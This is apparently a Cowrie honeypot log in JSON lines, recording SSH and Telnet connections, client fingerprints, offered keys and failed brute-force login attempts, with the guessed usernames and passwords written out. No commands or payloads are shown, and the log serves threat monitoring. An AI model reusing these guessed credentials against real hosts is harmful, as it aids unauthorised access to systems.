{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:c3:33:f5:fa:1c:0f:45:a6:63:6c:65:ba:04:ee:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8EN0poWwV6VVKbDU/D5oIoYF9GQYWXR4OsgUF+JfkYHFyh3IvIG/MOFxNJcNSi2O8r1JzJrWi5rJ/GPHMH5cw3lTYlYqRyRl+uk28wAdXIOFp4ZKcFS9o6xM7NN/VaB0/enynM7BT1n/9Vt++t680d9nlLrNrucn6JsCEzmuIOwaqeMx7Ch+HxMtty2OlG8TiYNASdj8VvLmL0n0wPZnkGSWRnq8xCpVF/nR8G2XiyRobz5sEXeYRVsliCwpbb18rBZycHqMY2OoKcYPU+Y5bDaedWr9j7AgknTQFR56zDOzyyXe3IJOBh1Td1Xe2V4LZlEYVdbaTz84wZ4pCmH5pkXlVs7v8Y4fNlTX1wBzLVTSwPSrLEyNpnnU6UbujB53C/y07XeSKcJ++S/Z1bx3iOyyRiBtYfH1xQwaF5/1UdVTirIUeB6I7uax7vej/3jBIXCpecBc6i3CGizha/zzNm57vcIfmpZH/ljkWaAv9Q0vPheUiI9paNi9C5RSgBnnabs7dGp2o1idOMPl11TrqdFRtG1q5yJPqJwgOK+82cQT4QzT4bS7Xc/ynPkB0IgJHkxi9C2MdVN9yj+kUVZoEpJeUiudZ66pEZpNVknRdF9uCK0K5kFZBAXh+C/AP9flbjcKpwGO/oudlSjPfBNbtmxHCf8Qk3bXgQyNfswlnIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:c3:33:f5:fa:1c:0f:45:a6:63:6c:65:ba:04:ee:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.126019Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:c3:33:f5:fa:1c:0f:45:a6:63:6c:65:ba:04:ee:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8EN0poWwV6VVKbDU/D5oIoYF9GQYWXR4OsgUF+JfkYHFyh3IvIG/MOFxNJcNSi2O8r1JzJrWi5rJ/GPHMH5cw3lTYlYqRyRl+uk28wAdXIOFp4ZKcFS9o6xM7NN/VaB0/enynM7BT1n/9Vt++t680d9nlLrNrucn6JsCEzmuIOwaqeMx7Ch+HxMtty2OlG8TiYNASdj8VvLmL0n0wPZnkGSWRnq8xCpVF/nR8G2XiyRobz5sEXeYRVsliCwpbb18rBZycHqMY2OoKcYPU+Y5bDaedWr9j7AgknTQFR56zDOzyyXe3IJOBh1Td1Xe2V4LZlEYVdbaTz84wZ4pCmH5pkXlVs7v8Y4fNlTX1wBzLVTSwPSrLEyNpnnU6UbujB53C/y07XeSKcJ++S/Z1bx3iOyyRiBtYfH1xQwaF5/1UdVTirIUeB6I7uax7vej/3jBIXCpecBc6i3CGizha/zzNm57vcIfmpZH/ljkWaAv9Q0vPheUiI9paNi9C5RSgBnnabs7dGp2o1idOMPl11TrqdFRtG1q5yJPqJwgOK+82cQT4QzT4bS7Xc/ynPkB0IgJHkxi9C2MdVN9yj+kUVZoEpJeUiudZ66pEZpNVknRdF9uCK0K5kFZBAXh+C/AP9flbjcKpwGO/oudlSjPfBNbtmxHCf8Qk3bXgQyNfswlnIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.129823Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:1b:d7:78:57:73:e8:fd:a6:13:32:4a:62:ca:5b:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz7jjicd69J23+Y47q1+5QtSvPhkzzi7lnbLbCUToikX3/gxdmhLaXkt7duf8C7ZI/lJm14cKr3yz3SJLQgBqISPVrmUiGsKFUdJ3N95TtP/tzCHtVjKHB+OWH9MuOtoMW5JZnS9bIcBdhfuKpW+hRS1eGyf8Kv1FWgFmfFAJ/B8BoA06Sb3+Rj2QAzZfj/73pL37+KjoWu67uaXo0vTG6xIKhMa7AY6aQn0FFiphdTR7LWo86Fik+hF/3mizO4uM1wD6SlgO++zfXg2k1fSfSkDNBGrOnzusm4gN7Z/Un9NpAnLb5mWZQXGI6kRHle/LSLScu1/nCvFGpP9Agznd1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:1b:d7:78:57:73:e8:fd:a6:13:32:4a:62:ca:5b:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.252896Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:1b:d7:78:57:73:e8:fd:a6:13:32:4a:62:ca:5b:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz7jjicd69J23+Y47q1+5QtSvPhkzzi7lnbLbCUToikX3/gxdmhLaXkt7duf8C7ZI/lJm14cKr3yz3SJLQgBqISPVrmUiGsKFUdJ3N95TtP/tzCHtVjKHB+OWH9MuOtoMW5JZnS9bIcBdhfuKpW+hRS1eGyf8Kv1FWgFmfFAJ/B8BoA06Sb3+Rj2QAzZfj/73pL37+KjoWu67uaXo0vTG6xIKhMa7AY6aQn0FFiphdTR7LWo86Fik+hF/3mizO4uM1wD6SlgO++zfXg2k1fSfSkDNBGrOnzusm4gN7Z/Un9NpAnLb5mWZQXGI6kRHle/LSLScu1/nCvFGpP9Agznd1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.258766Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:63:04:b4:f9:95:1d:c4:c5:05:0c:79:72:e1:fa:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCMVrB8wfFXwfChyLxMXEU7CmGByE11OWlYhLxtiWDB4p3JZXrt/t75cVQjb6xJrCltu8g8aeTm65TB/rKH3HyU0z2siR6wqEAcax6qVzkaNa+TR20cI90RLDyLTPdz1Ru53z5gImsW2xpZJjkhJUssEIpDvxkXevIGFnMHeyDabiyC1tdJ2Z47or8ilZODWYWYO+AYt7hqpOU+/BM2n1wf/9IKZQX1hUCiKlpKc//Ql+w3/yxf7bu/EOb3O6XB0qv3jMLzYoNeZgWe6peJemhu+Yw5OXEmF/biDZ6bQQRHDSKDOZvt/6dO4sOO/qiPt0fzwOq3QYXRKIKz+Nvl/rjvPHi5hW4N4LOtv2bjlF/16j7+ked2WLS5YyhfyoBtU6a6fchPA6Igr541KQ/ZgQQ/AZttbNoBLJcBjTEKrQiVr154JW5aTCAdg1ns61jkRP+84dkHmXFHWmLMijc3n91FlhHCXBGi79TQIHOFYZbECPxs2ORoPZ7g/jGXjayUpF66+JSEYrk3eIXO5L+K6r3MutLSLKeQ5/qsAem6Xhp2A8cR9jxFZfhB1oSm0BLu4Q67WBLmkKozGF8XCJ9hhKWTd+sMv1Zx7ZDEaTxIWzonFPu75y8jwCLfmAOw8BH7WchV+Djk5uUyb0i+f3dNoPEWsHEbQl3FEbGff+CBDjGehw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:63:04:b4:f9:95:1d:c4:c5:05:0c:79:72:e1:fa:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.382408Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:63:04:b4:f9:95:1d:c4:c5:05:0c:79:72:e1:fa:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCMVrB8wfFXwfChyLxMXEU7CmGByE11OWlYhLxtiWDB4p3JZXrt/t75cVQjb6xJrCltu8g8aeTm65TB/rKH3HyU0z2siR6wqEAcax6qVzkaNa+TR20cI90RLDyLTPdz1Ru53z5gImsW2xpZJjkhJUssEIpDvxkXevIGFnMHeyDabiyC1tdJ2Z47or8ilZODWYWYO+AYt7hqpOU+/BM2n1wf/9IKZQX1hUCiKlpKc//Ql+w3/yxf7bu/EOb3O6XB0qv3jMLzYoNeZgWe6peJemhu+Yw5OXEmF/biDZ6bQQRHDSKDOZvt/6dO4sOO/qiPt0fzwOq3QYXRKIKz+Nvl/rjvPHi5hW4N4LOtv2bjlF/16j7+ked2WLS5YyhfyoBtU6a6fchPA6Igr541KQ/ZgQQ/AZttbNoBLJcBjTEKrQiVr154JW5aTCAdg1ns61jkRP+84dkHmXFHWmLMijc3n91FlhHCXBGi79TQIHOFYZbECPxs2ORoPZ7g/jGXjayUpF66+JSEYrk3eIXO5L+K6r3MutLSLKeQ5/qsAem6Xhp2A8cR9jxFZfhB1oSm0BLu4Q67WBLmkKozGF8XCJ9hhKWTd+sMv1Zx7ZDEaTxIWzonFPu75y8jwCLfmAOw8BH7WchV+Djk5uUyb0i+f3dNoPEWsHEbQl3FEbGff+CBDjGehw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.386612Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:05.511262Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45882,"dst_ip":"10.17.0.5","dst_port":22,"session":"423ec898f93a","protocol":"ssh","message":"New connection: 103.15.226.202:45882 (10.17.0.5:22) [session: 423ec898f93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:30:44.463073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:30:44.466763Z","src_ip":"103.15.226.202","session":"423ec898f93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:30:44.712707Z","src_ip":"103.15.226.202","session":"423ec898f93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456a@","message":"login attempt [ubuntu/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:30:45.468822Z","src_ip":"103.15.226.202","session":"423ec898f93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:30:46.718428Z","src_ip":"103.15.226.202","session":"423ec898f93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43747,"dst_ip":"10.17.0.5","dst_port":23,"session":"833299ffdd56","protocol":"telnet","message":"New connection: 212.55.149.117:43747 (10.17.0.5:23) [session: 833299ffdd56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:32:05.560302Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.216.134.50","src_port":45088,"dst_ip":"10.17.0.5","dst_port":23,"session":"509c0ae63853","protocol":"telnet","message":"New connection: 102.216.134.50:45088 (10.17.0.5:23) [session: 509c0ae63853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:32:42.134731Z"}
{"eventid":"cowrie.session.closed","duration":65.3284752368927,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:33:10.888680Z","src_ip":"212.55.149.117","session":"833299ffdd56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49088,"dst_ip":"10.17.0.5","dst_port":22,"session":"48a73b8db3ec","protocol":"ssh","message":"New connection: 103.15.226.202:49088 (10.17.0.5:22) [session: 48a73b8db3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:34:20.555967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:34:20.564390Z","src_ip":"103.15.226.202","session":"48a73b8db3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:34:20.810113Z","src_ip":"103.15.226.202","session":"48a73b8db3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dy32dgdy32dg","message":"login attempt [root/dy32dgdy32dg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:34:21.559449Z","src_ip":"103.15.226.202","session":"48a73b8db3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:34:22.809263Z","src_ip":"103.15.226.202","session":"48a73b8db3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01425099372864,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:34:42.148861Z","src_ip":"102.216.134.50","session":"509c0ae63853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":40912,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa559fbb758b","protocol":"ssh","message":"New connection: 64.89.163.156:40912 (159.203.135.109:22) [session: aa559fbb758b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:16.153785Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:16.251591Z","src_ip":"64.89.163.156","session":"aa559fbb758b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":40916,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca8bcc14cd8d","protocol":"ssh","message":"New connection: 64.89.163.156:40916 (159.203.135.109:22) [session: ca8bcc14cd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:16.336754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:16.344233Z","src_ip":"64.89.163.156","session":"ca8bcc14cd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:16.437064Z","src_ip":"64.89.163.156","session":"ca8bcc14cd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@3000","message":"login attempt [root/root@3000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:16.743004Z","src_ip":"64.89.163.156","session":"ca8bcc14cd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:35:17.840744Z","src_ip":"64.89.163.156","session":"ca8bcc14cd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19285,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2febef8d637","protocol":"telnet","message":"New connection: 212.55.149.117:19285 (10.17.0.5:23) [session: c2febef8d637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:36:08.958007Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.238.54.161","src_port":7262,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b3317b8485","protocol":"telnet","message":"New connection: 88.238.54.161:7262 (10.17.0.5:23) [session: 97b3317b8485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:36:59.193167Z"}
{"eventid":"cowrie.session.closed","duration":60.59923768043518,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:09.557118Z","src_ip":"212.55.149.117","session":"c2febef8d637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.350853443145752,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:11.543849Z","src_ip":"88.238.54.161","session":"97b3317b8485","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54038,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5e024f4669","protocol":"ssh","message":"New connection: 103.15.226.202:54038 (10.17.0.5:22) [session: 8f5e024f4669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:56.729093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:56.733497Z","src_ip":"103.15.226.202","session":"8f5e024f4669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:56.978843Z","src_ip":"103.15.226.202","session":"8f5e024f4669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fjbdfdjkdsfs541544","message":"login attempt [root/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:57.721424Z","src_ip":"103.15.226.202","session":"8f5e024f4669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:37:58.973220Z","src_ip":"103.15.226.202","session":"8f5e024f4669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.37.73","src_port":33741,"dst_ip":"10.17.0.5","dst_port":22,"session":"231535973633","protocol":"ssh","message":"New connection: 104.248.37.73:33741 (10.17.0.5:22) [session: 231535973633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.364062Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.371428Z","src_ip":"104.248.37.73","session":"231535973633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.37.73","src_port":15823,"dst_ip":"10.17.0.5","dst_port":22,"session":"175f7ddfae19","protocol":"ssh","message":"New connection: 104.248.37.73:15823 (10.17.0.5:22) [session: 175f7ddfae19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.618046Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.707588Z","src_ip":"104.248.37.73","session":"175f7ddfae19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.65.32","src_port":33634,"dst_ip":"10.17.0.5","dst_port":22,"session":"50516345e904","protocol":"ssh","message":"New connection: 68.183.65.32:33634 (10.17.0.5:22) [session: 50516345e904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.902950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.907348Z","src_ip":"68.183.65.32","session":"50516345e904","protocol":"ssh"}
